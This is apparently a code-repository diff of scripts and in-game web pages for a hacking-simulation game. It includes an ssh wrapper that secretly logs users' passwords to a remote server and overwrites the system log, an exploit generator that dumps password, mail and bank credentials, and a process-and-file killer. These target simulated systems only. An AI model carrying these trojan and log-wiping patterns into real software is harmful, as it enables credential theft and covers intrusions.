<tr><th><div><br><h2><u>-wall of shame-</u></h2></div></th></tr>
<tr><th><div size="5px">[notice: ip of hack attempts will be made public]</div></th></tr>
<tr>
<td><br><br>
<!--<br><div><b>1.1.1.1</b></div>-->
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-websites">
<table class="scroll-window">
<tr><th><div><br><h2><u>-websites-</u></h2></div></th></tr>
<tr><th><div size="5px">[clover's other websites]</div></th></tr>
<tr>
<td>
<center style="color:white;font-size:20px;">Bytes - www.raveleflei.org</center>
<center style="color:white;font-size:20px;">FoxTrot - www.stafficadi.org</center>
<center style="color:white;font-size:20px;">Weasel Penetration Security - www.yondeljf.net</center>
<center style="color:white;font-size:20px;">Nexus - www.toshayk.org</center>
</td>
</tr>
</table>
</div>
</tr>
</table>
<!--<table class="footer">
<tr>
<td>
<hr><center>| corTechs by Corvus@eastellwo.info | &#xa9;1997 | copied by Sparki, sorry! |</center>
</td>
</tr>
</table>
</div>-->
<script>
var main = document.getElementById("div-main");
var downloads = document.getElementById("div-downloads");
var players = document.getElementById("div-players");
var websites = document.getElementById("div-websites");
function mainFunc() {
if (main.style.display === "none") {
main.style.display = "block";
downloads.style.display = "none";
players.style.display = "none";
websites.style.display= "none";
} else {
main.style.display = "block";
}
}
function downloadsFunc() {
if (downloads.style.display === "none") {
downloads.style.display = "block";
main.style.display = "none";
players.style.display = "none";
websites.style.display = "none";
} else {
downloads.style.display = "block";
}
}
function playersFunc() {
if (players.style.display === "none") {
players.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
websites.style.display = "none";
} else {
players.style.display = "block";
}
}
function websitesFunc() {
if (websites.style.display === "none") {
players.style.display = "none";
main.style.display = "none";
downloads.style.display = "none";
websites.style.display = "block";
} else {
players.style.display = "block";
}
}
</script>
</html>

87
ssh_vir.src Normal file
View file

@ -0,0 +1,87 @@
import_code("/root/CryptLib")
if params.len < 2 or params.len > 3 then exit(command_info("ssh_usage"))
credentials = params[0].split("@")
user = credentials[0]
password = credentials[1]
port = 22
// params is a list of strings, so you have to convert it to integer, which is what connect_service accepts.
if params.len == 3 then port = params[2].to_int
if typeof(port) != "number" then exit("Invalid port: " + port)
print("Connecting...")
shell = get_shell.connect_service(params[1], port, user, password, "ssh")
if typeof(shell) == "string" then exit(shell)
if shell then
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
perms=false
if get_shell.host_computer.File("/var/system.log") and get_shell.host_computer.File("/var/system.log").has_permission("w") then perms=true
proxy=get_shell.connect_service
logServ=null
if typeof(proxy) == "shell" then logServ=proxy.connect_service
if not logServ then
shell.start_terminal
exit
end if
sshlog=logServ.host_computer.File("/root/sshs")
if perms then
get_shell.host_computer.touch("/var","system.bak")
bak=get_shell.host_computer.File("/var/system.bak")
bak.set_content("corrupted")
bak.move("/var","system.log")
wait(.2)
log=get_shell.host_computer.File("/var/system.log")
end if
cont=CryptLib.Deserialize(encrypt(sshlog.get_content,"Lunar","dec"))
log={"source": get_shell.host_computer.public_ip, "dest": shell.host_computer.public_ip, "port": port, "user": user, "pass": password}
if cont.indexOf(log) == null then cont.push(log)
sshlog.set_content(encrypt(CryptLib.Serialize(cont),"Lunar","enc"))
shell.start_terminal
else
print("connection failed")
end if

63
sysmon.src Normal file
View file

@ -0,0 +1,63 @@
shell=get_shell
comp=shell.host_computer
safeProcs=[]
procs=comp.show_procs.split("\n")
procs.pull
for proc in procs
proc=proc.split(" ")
safeProcs.push({"user": proc[0], "id": proc[1], "name": proc[-1]})
end for
safeFiles=[]
newFiles=[]
root=comp.File("/")
currFile=root
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
alreadyIn=0
currFile=newFiles.pull
for i in safeFiles
if i.path == currFile.path then alreadyIn=1
end for
if alreadyIn then continue
safeFiles.push({"path": currFile.path, "size": currFile.size})
for file in currFile.get_folders+currFile.get_files
newFiles.push(file)
end for
end while
while 1
newProcs=comp.show_procs.split("\n")
newProcs.pull
for proc in newProcs
safeProc=0
proc=proc.split(" ")
for i in safeProcs
if proc[1] == i.id and proc[0] == i.user and proc[-1] == i.name then safeProc=1
end for
if not safeProc then
print("KILLING UNLISTED PROCESS "+proc[-1]")
comp.close_program(proc[1].to_int)
end if
end for
newFiles=[]
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
safeFile=0
currFile=newFiles.pull
for file in safeFiles
if file.path == currFile.path and file.size == currFile.size then safeFile=1
end for
if not safeFile and not currFile.is_folder then
print("DELETING UNLISTED FILE "+currFile.path)
currFile.delete
end if
for file in currFile.get_folders+currFile.get_files
newFiles.push(file)
end for
end while
end while

461
tempered.src Normal file
View file

@ -0,0 +1,461 @@
//clovers tmprd templated exploit generator
mxf=null
root=get_shell.host_computer.File("/")
if not root then return
newFiles=root.get_folders+root.get_files
while newFiles.len
currFile=newFiles.pull
if currFile.is_folder then newFiles=currFile.get_folders+currFile.get_files+newFiles
test=include_lib(currFile.path)
if typeof(test) == "MetaxploitLib" then mxf=currFile.path
end while
if not mxf then exit("Could not find metaxploit.so in the system")
mx=include_lib(mxf)
templates={}
//locate required libraries
templates.libscan={}
templates.libscan.meta="metaX = null" + char(10) + "metaX = include_lib(""/lib/metaxploit.so"")" + char(10)
templates.libscan.meta=templates.libscan.meta + "if not metaX then metaX = include_lib(current_path+""/metaxploit.so"")" + char(10)
templates.libscan.meta=templates.libscan.meta + "if not metaX then exit(""Could not find metaxploit.so in the system"")" + char(10)
templates.libscan.crypto="crypto = null" + char(10) + "crypto = include_lib(""/lib/crypto.so"")" + char(10)
templates.libscan.crypto=templates.libscan.crypto + "if not crypto then crypto = include_lib(current_path+""/crypto.so"")" + char(10)
templates.libscan.crypto=templates.libscan.crypto + "if not crypto then exit(""Could not find crypto.so in the system"")" + char(10)
templates.ml={}
//access metalib
//both give the same kind of metalib for use, just for different circumstances
templates.ml.local="metaLib = metaX.load($libpath$)" + char(10)
templates.ml.remote="if params.len != 2 then exit(""Invalid parameters - [ip] [port]"")"+char(10)
templates.ml.remote=templates.ml.remote+"params[1]=params[1].to_int"+char(10)+"if typeof(params[1]) != ""number"" then exit(""Invalid parameters - [ip] [port]"")"+char(10)
templates.ml.remote=templates.ml.remote+"netSession = metaX.net_use(params[0],params[1])" + char(10) + "metaLib = netSession.dump_lib" + char(10)
templates.ml.router="if params.len != 1 then exit(""Invalid parameters - [ip]"")"+char(10)
templates.ml.router=templates.ml.router+"netSession = metaX.net_use(params[0],0)" + char(10) + "metaLib = netSession.dump_lib" + char(10)
templates.of={}
//overflows
//check for exploits that require an argument (router, password)
templates.of.none="result = metaLib.overflow($memory$,$value$)" + char(10)
templates.of.args="print(""Hey! This exploit has some extra requirements. If this is a router bounce, enter a local ip on the network. If this is a password change, enter the password!"")" +char(10)
templates.of.args=templates.of.args+"args=user_input(""Arguments: "")"+char(10)
templates.of.args=templates.of.args+"result = metaLib.overflow($memory$,$value$,args)" + char(10)
templates.results={}
//shell
//check result and start terminal
templates.results.shell="if typeof(result) != ""shell"" then exit(""Exploit failed."")" + char(10) + "result.start_terminal" + char(10) + "exit"
//computer
//check result
cmp="if typeof(result) != ""computer"" then exit(""Exploit failed."")" + char(10)
//check result permissions
cmp=cmp+"passwds = false" + char(10) + "users = false" + char(10) + "root = false" + char(10)
cmp=cmp+"if result.File(""/etc/passwd"") and result.File(""/etc/passwd"").has_permission(""r"") then passwds = 2" + char (10)
cmp=cmp+"if result.File(""/home"") and result.File(""/home"").get_folders.len > 1 then users = 3" + char(10)
cmp=cmp+"if result.File(""/"").has_permission(""w"") then root = 4" + char(10)+char(10)
//use results
cmp=cmp+"tmp=0 + passwds + users + root" + char(10) + "if tmp == 0 then exit(""Exploit failed."")" + char(10)
cmp=cmp+"perms=[]" + char(10) + "for i in range(1,tmp)" + char(10)
cmp=cmp+" if passwds == 2 then"+char(10)+" passwds = passwds - 1"+char(10)+" perms.push(str(i) + "") Get all passwords in /etc/passwd"")"+char(10)+" end if"+char(10)
cmp=cmp+" if users == 3 then"+char(10)+" users = users - 1"+char(10)+" perms.push(str(i) + "") Get all users emails"")"+char(10)+" continue"+char(10)+" end if"+char(10)
cmp=cmp+" if users == 2 then"+char(10)+" users = users - 1"+char(10)+" perms.push(str(i) + "") Get all users banks"")"+char(10)+" continue"+char(10)+" end if"+char(10)
cmp=cmp+" if root == 4 then"+char(10)+" root = root - 1"+char(10)+" perms.push(str(i) + "") Change user password"")"+char(10)+" continue"+char(10)+" end if"+char(10)
cmp=cmp+" if root == 3 then"+char(10)+" root = root - 1"+char(10)+" perms.push(str(i) + "") Add a user"")"+char(10)+" continue"+char(10)+" end if"+char(10)
cmp=cmp+" if root == 2 then"+char(10)+" root = root - 1"+char(10)+" perms.push(str(i) + "") Delete a user"")"+char(10)+" continue"+char(10)+" end if"+char(10)
cmp=cmp+"end for"+char(10)
cmp=cmp+"print perms.join(char(10))"+char(10)+char(10)
//get user selection
cmp=cmp+"selection=0"+char(10)
cmp=cmp+"while typeof(selection) != ""number"" or selection < 1 or selection > perms.len"+char(10)
cmp=cmp+" selection=user_input(""Select #> "")"+char(10)
cmp=cmp+" selection=selection.to_int"+char(10)
cmp=cmp+"end while"+char(10)
cmp=cmp+"selection=selection-1"+char(10)+char(10)
//functions
cmp=cmp+"passwdfunc=function()"+char(10)
cmp=cmp+templates.libscan.crypto
cmp=cmp+" passwds=result.File(""/etc/passwd"").get_content"+char(10)
cmp=cmp+" passwds=passwds.split(char(10))"+char(10)
cmp=cmp+" for pass in passwds"+char(10)
cmp=cmp+" pass=pass.split("":"")[-1]"+char(10)
cmp=cmp+" if pass.len < 32 then continue"+char(10)
cmp=cmp+" print crypto.decipher(pass)"+char(10)
cmp=cmp+" end for"+char(10)
cmp=cmp+" exit"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
cmp=cmp+"emailfunc=function()"+char(10)
cmp=cmp+templates.libscan.crypto
cmp=cmp+" users=result.File(""/home"").get_folders"+char(10)
cmp=cmp+" for user in users"+char(10)
cmp=cmp+" if user.name == ""guest"" then continue"+char(10)
cmp=cmp+" mail=result.File(user.path+""/Config/Mail.txt"")"+char(10)
cmp=cmp+" if not mail or not mail.has_permission(""r"") then continue"+char(10)
cmp=cmp+" mail=mail.get_content.split("":"")"+char(10)
cmp=cmp+" user=mail[0]"+char(10)
cmp=cmp+" pass=mail[-1]"+char(10)
cmp=cmp+" if pass.len < 32 then"+char(10)
cmp=cmp+" print(""Password for ""+user+"" not found"")"+char(10)
cmp=cmp+" continue"+char(10)
cmp=cmp+" end if"+char(10)
cmp=cmp+" print(user+"" : ""+crypto.decipher(pass))"+char(10)
cmp=cmp+" end for"+char(10)
cmp=cmp+" exit"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
cmp=cmp+"bankfunc=function()"+char(10)
cmp=cmp+templates.libscan.crypto
cmp=cmp+" users=result.File(""/home"").get_folders"+char(10)
cmp=cmp+" for user in users"+char(10)
cmp=cmp+" if user.name == ""guest"" then continue"+char(10)
cmp=cmp+" bank=result.File(user.path+""/Config/Bank.txt"")"+char(10)
cmp=cmp+" if not bank or not bank.has_permission(""r"") then continue"+char(10)
cmp=cmp+" bank=bank.get_content.split("":"")"+char(10)
cmp=cmp+" user=bank[0]"+char(10)
cmp=cmp+" pass=bank[-1]"+char(10)
cmp=cmp+" if pass.len < 32 then"+char(10)
cmp=cmp+" print(""Password for ""+user+"" not found"")"+char(10)
cmp=cmp+" continue"+char(10)
cmp=cmp+" end if"+char(10)
cmp=cmp+" print(user+"" : ""+crypto.decipher(pass))"+char(10)
cmp=cmp+" end for"+char(10)
cmp=cmp+" exit"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
cmp=cmp+"passwd=function()"+char(10)
cmp=cmp+" exit result.change_password(user_input(""User: ""),user_input(""Password: "", 1))"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
cmp=cmp+"useradd=function()"+char(10)
cmp=cmp+" exit result.create_user(user_input(""User: ""),user_input(""Password: "", 1))"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
cmp=cmp+"userdel=function()"+char(10)
cmp=cmp+" exit result.delete_user(user_input(""User: ""))"+char(10)
cmp=cmp+"end function"+char(10)+char(10)
//if cases
cmp=cmp+"if passwds and users and root then"+char(10)
cmp=cmp+" if selection == 0 then passwdfunc"+char(10)
cmp=cmp+" if selection == 1 then emailfunc"+char(10)
cmp=cmp+" if selection == 2 then bankfunc"+char(10)
cmp=cmp+" if selection == 3 then passwd"+char(10)
cmp=cmp+" if selection == 4 then useradd"+char(10)
cmp=cmp+" if selection == 5 then userdel"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if users and root then"+char(10)
cmp=cmp+" if selection == 0 then emailfunc"+char(10)
cmp=cmp+" if selection == 1 then bankfunc"+char(10)
cmp=cmp+" if selection == 2 then passwd"+char(10)
cmp=cmp+" if selection == 3 then useradd"+char(10)
cmp=cmp+" if selection == 4 then userdel"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if passwds and root then"+char(10)
cmp=cmp+" if selection == 0 then passwdfunc"+char(10)
cmp=cmp+" if selection == 1 then useradd"+char(10)
cmp=cmp+" if selection == 2 then userdel"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if passwds and users then"+char(10)
cmp=cmp+" if selection == 0 then passwdfunc"+char(10)
cmp=cmp+" if selection == 1 then emailfunc"+char(10)
cmp=cmp+" if selection == 2 then bankfunc"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if root then"+char(10)
cmp=cmp+" if selection == 0 then useradd"+char(10)
cmp=cmp+" if selection == 1 then userdel"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if users then"+char(10)
cmp=cmp+" if selection == 0 then emailfunc"+char(10)
cmp=cmp+" if selection == 1 then bankfunc"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"if passwds then"+char(10)
cmp=cmp+" if selection == 0 then passwdfunc"+char(10)
cmp=cmp+"end if"+char(10)
cmp=cmp+"exit(""Exploit failed."")"
templates.results.computer=cmp
print("tmprd Exploit Generator")
print("By Clover")
print
sel=0
print("Create a")
print("1. Local Library Exploit")
print("Or a")
print("2. Remote System Exploit")
sel=0
while typeof(sel) != "number" or sel < 1 or sel > 2
sel=user_input("#> ")
sel=sel.to_int
end while
init=sel
print
base=templates.libscan.meta
compile=function
type="unk"
if init == 1 then type="local"
if init == 2 then type="remote"
if port == 0 then type="router"
get_shell.host_computer.touch(current_path,sel+"."+exp.result+"."+ml.lib_name+"."+ml.version+"."+type+".src")
get_shell.host_computer.File(current_path+"/"+sel+"."+exp.result+"."+ml.lib_name+"."+ml.version+"."+type+".src").set_content(base)
print("Saved exploit code to "+current_path+"/"+sel+"."+exp.result+"."+ml.lib_name+"."+ml.version+"."+type+".src")
get_shell.build(current_path+"/"+sel+"."+exp.result+"."+ml.lib_name+"."+ml.version+"."+type+".src",current_path)
print("Saved compiled code to "+current_path+"/"+sel+"."+exp.result+"."+ml.lib_name+"."+ml.version+"."+type)
exit
end function
if sel == 1 then
base=base+templates.ml.local
libs=get_shell.host_computer.File("/lib").get_files
print("Select library")
for l in range(1,libs.len)
print(l+") "+libs[l-1].name)
end for
sel=0
while typeof(sel) != "number" or sel < 1 or sel > libs.len
sel=user_input("#> ")
sel=sel.to_int
end while
lib=libs[sel-1]
base=base.replace("$libpath$",""""+lib.path+"""")
exploits=[]
print("Scanning exploits, this may take a second...")
ml=mx.load(lib.path)
scan=mx.scan(ml)
for mem in scan
mems=mx.scan_address(ml,mem).split("Unsafe check: ")
for ent in mems
if ent == mems[0] then continue
ent=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
jump=0
result=ml.overflow(mem,ent)
print("Memory is "+mem+", vulnerable string is "+ent)
if get_shell.host_computer.network_gateway == "0.0.0.0" and result == null then
result=ml.overflow(mem,ent,get_shell.host_computer.local_ip)
print("Take 2")
print("We got a "+typeof(result))
if typeof(result) == "computer" then jump=1
end if
if result == null then continue
type=typeof(result)
if type == "number" or type == "file" then continue
ex={}
ex.mem=mem
ex.ent=ent
ex.result=type
ex.type=type
ex.jump=jump
//if type == "number" then ex.result="firewall_or_password"
if jump then ex.result="bounce"
print("Exploit return type is a "+ex.result)
exploits.push(ex)
end for
end for
if not exploits.len then exit("No exploits found, sorry")
exps={"shell": [], "comp": [], "num": []}
for ex in exploits
if ex.type == "shell" then
exps.shell.push(ex)
else if ex.type == "computer" then
exps.comp.push(ex)
else if ex.type == "number" then
exps.num.push(ex)
end if
end for
exploits=exps.shell+exps.comp+exps.num
print
print("Select exploit")
for i in range(1,exploits.len)
print(i+") "+exploits[i-1].result+" = "+exploits[i-1].mem+" + "+exploits[i-1].ent)
end for
sel=0
while typeof(sel) != "number" or sel < 1 or sel > exploits.len
sel=user_input("#> ")
sel=sel.to_int
end while
exp=exploits[sel-1]
if exp.jump == 1 then
base=base+templates.of.args
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.computer
compile
end if
if exp.type == "shell" then
base=base+templates.of.none
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.shell
compile
end if
if exp.type == "computer" then
base=base+templates.of.none
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.computer
compile
end if
exit
end if
if sel == 2 then
r=user_input("IP Address: ")
if not is_valid_ip(r) then exit("Invalid IP")
islan=is_lan_ip(r)
router=get_router(r)
if islan then router=get_router
if not router then return error("Invalid address")
rver=router.kernel_version
if islan then
ports=router.device_ports(r)
else
ports=router.used_ports
end if
ips=[]
if r != router.local_ip then
hport=router.device_ports(router.local_ip)[0]
m={}
m.ip=router.local_ip
m.ports=[hport]
ips.push(m)
m=null
end if
info="# LAN PORT STATUS LIBRARY VERSION"
num=0
for port in ports
inm=0
for m in ips
if m.ip == port.get_lan_ip then
m.ports.push(port)
inm=1
end if
end for
if not inm then
m={}
m.ip=port.get_lan_ip
m.ports=[port]
ips.push(m)
end if
end for
for m in ips
ports=m.ports
ip=m.ip
info=info+"\n"+num+" "+ip+" /"
if ip == router.local_ip then info=info+"\n |0 routed router "+rver
for port in ports
service=router.port_info(port)
status="routed"
if port.is_closed then status="closed"
info=info+"\n |"+port.port_number+" "+status+" "+service
end for
num=num+1
end for
print(format_columns(info)+"\n")
port=user_input("Port# ")
port=port.to_int
if typeof(port) != "number" then exit("Invalid port")
if port != 0 then base=base+templates.ml.remote else base=base+templates.ml.router
ns=mx.net_use(r,port)
if not ns then exit("Invalid service")
ml=ns.dump_lib
exploits=[]
print("Scanning exploits, this may take a second...")
scan=mx.scan(ml)
for mem in scan
mems=mx.scan_address(ml,mem).split("Unsafe check: ")
for ent in mems
if ent == mems[0] then continue
ent=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
jump=0
result=ml.overflow(mem,ent)
print("Memory is "+mem+", vulnerable string is "+ent)
if port == 0 then
result=ml.overflow(mem,ent,router.local_ip)
print("Take 2")
print("We got a "+typeof(result))
if typeof(result) == "computer" then jump=1
end if
if result == null then continue
type=typeof(result)
if type == "number" or type == "file" then continue
ex={}
ex.mem=mem
ex.ent=ent
ex.result=type
ex.type=type
ex.jump=jump
//if type == "number" then ex.result="firewall_or_password"
if jump then ex.result="bounce"
print("Exploit return type is a "+ex.result)
exploits.push(ex)
end for
end for
if not exploits.len then exit("No exploits found, sorry")
exps={"shell": [], "comp": [], "num": []}
for ex in exploits
if ex.type == "shell" then
exps.shell.push(ex)
else if ex.type == "computer" then
exps.comp.push(ex)
else if ex.type == "number" then
exps.num.push(ex)
end if
end for
exploits=exps.shell+exps.comp+exps.num
print
print("Select exploit")
for i in range(1,exploits.len)
print(i+") "+exploits[i-1].result+" = "+exploits[i-1].mem+" + "+exploits[i-1].ent)
end for
sel=0
while typeof(sel) != "number" or sel < 1 or sel > exploits.len
sel=user_input("#> ")
sel=sel.to_int
end while
exp=exploits[sel-1]
if exp.jump == 1 then
base=base+templates.of.args
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.computer
compile
end if
if exp.type == "shell" then
base=base+templates.of.none
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.shell
compile
end if
if exp.type == "computer" then
base=base+templates.of.none
base=base.replace("$memory$",""""+exp.mem+"""")
base=base.replace("$value$",""""+exp.ent+"""")
base=base+templates.results.computer
compile
end if
exit
end if

290
theInternet/Bytes.html Normal file
View file

@ -0,0 +1,290 @@
<html>
<title>The official Bytes website -={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-={B$}=-</title>
<style>
body { font: 10px Times, serif; color: #707070; text-align: center; }
html{
background-color:#0E0E0E;
}
div{
text-align: center;
font-size: 14px;
}
h1 {
color: #6A855E;
text-shadow: 4px 4px 0px #445239;
}
h2 {
color: #303030;
}
p {
color: white;
font-size: 14px;
}
.color-white{
color: white;
}
.div-primary{
position: top;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #445239;
color: black;
}
.btn-secondary{
border-radius: 8px;
color: white;
border: none;
margin:-4px;
background-color: #080808;
}
.btn-secondary:hover{
background: #cc0099;
color: black;
}
.btn-text{
color: white;
}
.body{
height: 100%;
margin-top: 145px;
}
.scroll-window{
height:600px;
overflow-y: auto;
margin-bottom: 120px;
}
.header{
position: fixed;
top: -10px;
background-color: #0E0E0E;
}
.div-main{
margin-top:-24px;
}
.footer{
position: fixed;
bottom: 0px;
background-color: #0E0E0E;
}
.text-header {
font-size:20px;
color:white;
}
.text-body-header {
text-align: left;
font-size:14px;
padding-left: 8px;
color:white;
}
.text-body {
text-align: left;
font-size:14px;
padding-left: 24px;
color:gray;
}
.text-note {
text-align: left;
font-size:12px;
padding-left: 48px;
color:#505050;
}
.text-note-center{
font-size:12px;
color:#505050;
}
.text-scroll {
overflow-y:auto;
height:575px
}
.rotate {
transform: rotate(2deg);
}
.vr {
transform: rotate(90deg);
padding-top: 40px;
}
.term-green {
background:black;
color:green;
margin-left:5px;
}
#div-main {
display: block;
margin-bottom: 800px;
}
#div-about {
display: none;
margin-bottom: 800px;
}
#div-downloads {
display: none;
margin-bottom: 500px;
}
#div-trusted {
display: none;
}
</style>
<table class="header">
<tr>
<td>
<br><center><div class="rotate"><h1 style="font-size:35px;">Bytes</h1></div></center>
<hr><div style="margin-right:38px">
<button class="btn btn-primary" onclick="mainFunc()"> home </button>
<button class="btn btn-primary" onclick="aboutFunc()"> about </button>
<button class="btn btn-primary"> ranked </button>
<button class="btn btn-primary"> login </button>
<button class="btn btn-primary" onclick="downloadsFunc()"> downloads </button>
<button class="btn btn-primary" onclick="trustedFunc()"> trusted </button>
<button class="btn btn-primary" id="LoginBank"> bank </button>
</div><hr>
</td>
</tr>
</table>
<table class="body">
<tr>
<td>
<div id="div-main">
<table class="scroll-window">
<tr><th><br><div><h2><u> -welcome to the official Bytes site- </u></h2></div></th></tr>
<tr>
<td>
<center>
<br><br>
<p style="font-size:20px;"><b style="color:#6A855E;">%Users%</b> registered users</p>
<p>news</p>
<table style="text-align:left;width:700px;"><tr><td>
<b class="text-body"><br>
<!--<i class="text-note">[8.13.09]</i> <b style="color:white;">Bytes Public initial upload<br>-->
<i class="text-note">[6.23.04]</i> <b style="color:white;">created<br>
<br><br><br><br>
</b>
</td></tr></table>
</center>
</td>
</tr>
</table>
</div>
<div id="div-about">
<table class="scroll-window">
<tr><th><div><br><h2><u>-Bytes-</u></h2></div></th></tr>
<tr><th><div size="5px">[About Bytes]</div></th></tr>
<tr>
<td>
<center style="color:white;font-size:20px;">Bytes is a playermade cryptocurrency by Clover</center>
<center style="color:white;font-size:20px;">It was inspired by BTC to become a more modern BTC alternative</center>
<center style="color:white;font-size:20px;">122.14.7.249 is the ONLY official download website for it!</center>
</td>
</tr>
</table>
</div>
<div id="div-downloads">
<table class="scroll-window">
<tr>
<th><div><br><h2><u>-downloads-</u></h2><br><br><button class="btn btn-primary" style="width:100px;" id="InformaticaShop" value="get files"></div></th>
</tr>
<tr>
<th><center><b style="color:white;"><u>Bytes</u></b><br>(script)</center></th>
<th><center><b style="color:white;"><u>BytesLibTemplate.src</u></b></center><center>(manual)</center></th>
</tr>
<tr>
<td>
<p>*The main Bytes client and importable Bytes lib*<br>
*unreleased*<br></p>
</td>
<td>
<p>*Bytes lib manual*<br></p>
</td>
</tr>
</table>
</div>
<div id="div-trusted">
<table class="scroll-window">
<tr><th><div><br><h2><u>-trusted sellers-</u></h2></div></th></tr>
<tr>
<td><br><br>
<br><div><b>None right now.</b></div>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
</tr>
</table>
<table class="footer">
<tr>
<td>
<hr><center>| Bytes by Clover | &#xa9;2005 |</center>
</td>
</tr>
</table>
</div>
<script>
var main = document.getElementById("div-main");
var downloads = document.getElementById("div-downloads");
var trusted = document.getElementById("div-trusted");
var about = document.getElementById("div-about");
function mainFunc() {
if (main.style.display === "none") {
main.style.display = "block";
downloads.style.display = "none";
trusted.style.display = "none";
about.style.display="none";
} else {
main.style.display = "block";
}
}
function downloadsFunc() {
if (downloads.style.display === "none") {
downloads.style.display = "block";
main.style.display = "none";
trusted.style.display = "none";
about.style.display="none";
} else {
downloads.style.display = "block";
}
}
function trustedFunc() {
if (trusted.style.display === "none") {
trusted.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
about.style.display="none";
} else {
trusted.style.display = "block";
}
}
function aboutFunc() {
if (about.style.display === "none") {
about.style.display = "block";
main.style.display="none";
downloads.style.display="none";
} else {
about.style.display = "block";
}
}
</script>
</html>

View file

@ -0,0 +1,111 @@
//Treasure Client API Functions
ver="0.0.1"
PWpath="/bin/TC"
func=false
if program_path != PWpath then func=true
//start private functions
callPW=function()
globals.PW=get_shell.connect_service
if not PW then exit("server not found")
end function
info = function(user,pass)
if not PW or not typeof(PW) then callPW
bytes = PW.host_computer.File("/server/.PirateWay/users/"+user+"/bytes").get_content
key = PW.host_computer.File("/server/.PirateWay/users/"+user+"/PW.Skey").get_content
return "Hello "+user + char(10) + "Bytes: "+bytes + char(10) + "Secrete key: "+key
end function
GenKey = function()
setchar = "PW"
setchar = setchar + "-" + floor(rnd*10000) + "-" + floor(rnd*10000) + "-" + floor(rnd*10000)
return setchar
end function
ByteLogo = function()
print("
:#@@d`
` -Q@@8.
`:]qBy W@@#=
-xGB@8s|- L@@@}
=uO##Gx:` *@@@z
:@@#m: _B@@$`
,v3Q#6V^` Z@@#!
`rk$@#ZT, *@@@*
-rz$l_Q@@K'
`Z@@Ry#Dy*'
k@@Q- -rk0@BZY_
r@@@< .*V9#8e\`
,B@@E .y#@@*
.g@@Q- `=TZ##MY!`
e@@#< _ud##Dy*'
v@@@u xDy*'
<#@@m
-Q@@8.
-lwl'")
end function
BytePrice = function()
print("4 btc = 8 Bytes
40 btc = 80 Bytes
60 btc = 150 Bytes")
end function
//End private functions
TC={}
TC.Bytes = function()
clear_screen
ByteLogo()
BytePrice()
end function
TC.get = function(item)
if not PW or not typeof(PW) then callPW
item_folder = PW.host_computer.File("/server/.PirateWay/textItems").get_files
for items in item_folder
if items.name == item then return PW.host_computer.File(items.path).get_content
end for
return "File not found."
end function
TC.register = function(user)
if not PW or not typeof(PW) then callPW
if not user then user=user_input("Register username: ")
if PW.host_computer.File("/server/.PirateWay/users/"+user) then exit("Username already taken")
Rpass = user_input("Register password: ",1)
Cpass = user_input("Confirm password: ",1)
if not Cpass == Rpass then exit("Password is not the same as the first one")
print("[%]Creating account: "+user)
